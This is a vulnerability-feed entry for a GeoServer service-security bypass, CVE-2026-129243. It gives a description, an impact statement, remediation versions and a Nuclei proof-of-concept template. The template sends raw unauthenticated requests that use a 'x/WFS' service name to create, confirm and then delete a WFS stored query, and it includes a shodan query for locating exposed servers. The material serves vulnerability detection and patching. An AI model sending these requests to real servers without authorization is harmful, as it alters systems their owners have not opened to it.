CVE-2026-129243: GeoServer Service Security Bypass via Prefixed Service Name (x/WFS)

2026-11-29 PoC Public

Description

A mismatch exists between service dispatch and service-security rule matching in GeoServer. When a request uses a specially prefixed service name (such as x/WFS), the dispatcher strips the prefix (x/) and routes the operation, while service security continues matching rules against the unstripped x/WFS string. This allows an attacker to invoke restricted operations while evading service-level security rules intended for the standard service name. Under default rules, anonymous users can reach WFS stored-query creation and deletion operations, though layer and data-security rules remain enforced.

Details

CVE
CVE-2026-129243 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-129243

info:
  name: GeoServer Service Security Bypass via Prefixed Service Name (x/WFS)
  author: lama678
  severity: high
  description: |
    A mismatch exists between service dispatch and service-security rule matching in GeoServer. When a request uses a specially prefixed service name (such as x/WFS), the dispatcher strips the prefix (x/) and routes the operation, while service security continues matching rules against the unstripped x/WFS string. This allows an attacker to invoke restricted operations while evading service-level security rules intended for the standard service name. Under default rules, anonymous users can reach WFS stored-query creation and deletion operations, though layer and data-security rules remain enforced.
  impact: |
    An unauthenticated attacker can create, read and delete WFS stored queries that the default configuration restricts to administrators, and gains the same bypass for any other OWS operation protected only by service security rules.
  remediation: |
    Upgrade to GeoServer 2.27.7, 2.28.6 or 3.0.2, where the dispatcher sets the request service to the resolved service id before service security checks run.
  reference:
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-rv5g-g2r9-58rj
    - https://osgeo-org.atlassian.net/browse/GEOS-12195
    - https://docs.geoserver.org/stable/en/user/security/service/
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
    cvss-score: 8.8
    cve-id: CVE-2026-129243
    cwe-id: CWE-863
  metadata:
    verified: true
    max-request: 4
    vendor: geoserver
    product: geoserver
    shodan-query: title:"GeoServer"
  tags: cve,cve2026,geoserver,authbypass,intrusive,vkev,kev

variables:
  qid: "gssec{{rand_text_alphanumeric(24)}}"

flow: |
  http(1) && http(2) && http(3)
  http(4)

http:
  - raw:
      - |
        POST /geoserver/wfs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <wfs:CreateStoredQuery service="WFS" version="2.0.0" xmlns:wfs="http://www.opengis.net/wfs/2.0">
          <wfs:StoredQueryDefinition id="{{qid}}">
            <wfs:QueryExpressionText returnFeatureTypes="" language="urn:ogc:def:queryLanguage:OGC-WFS::WFSQueryExpression" isPrivate="false">
              <wfs:Query typeNames="">nuclei-marker-{{qid}}</wfs:Query>
            </wfs:QueryExpressionText>
          </wfs:StoredQueryDefinition>
        </wfs:CreateStoredQuery>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401 || status_code == 403'
        internal: true

  - raw:
      - |
        POST /geoserver/wfs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <wfs:CreateStoredQuery service="x/WFS" version="2.0.0" xmlns:wfs="http://www.opengis.net/wfs/2.0">
          <wfs:StoredQueryDefinition id="{{qid}}">
            <wfs:QueryExpressionText returnFeatureTypes="" language="urn:ogc:def:queryLanguage:OGC-WFS::WFSQueryExpression" isPrivate="false">
              <wfs:Query typeNames="">nuclei-marker-{{qid}}</wfs:Query>
            </wfs:QueryExpressionText>
          </wfs:StoredQueryDefinition>
        </wfs:CreateStoredQuery>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "CreateStoredQueryResponse", "status=\"OK\"")'
        condition: and
        internal: true

  - raw:
      - |
        GET /geoserver/wfs?service=WFS&version=2.0.0&request=DescribeStoredQueries&storedQuery_id={{qid}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "DescribeStoredQueriesResponse", "{{qid}}")'
        condition: and

  - raw:
      - |
        GET /geoserver/wfs?service=x/WFS&version=2.0.0&request=DropStoredQuery&storedQuery_id={{qid}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "DropStoredQueryResponse")'
        condition: and
        internal: true
# digest: 4b0a00483046022100d631d1806627649d1eb39e94f37b2ab7d4128b9a9187305a122d35db8159f6890221008c62acfefa927514209e400b109280051e3fd387f5a7a581a3d9cf2baaec48e0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life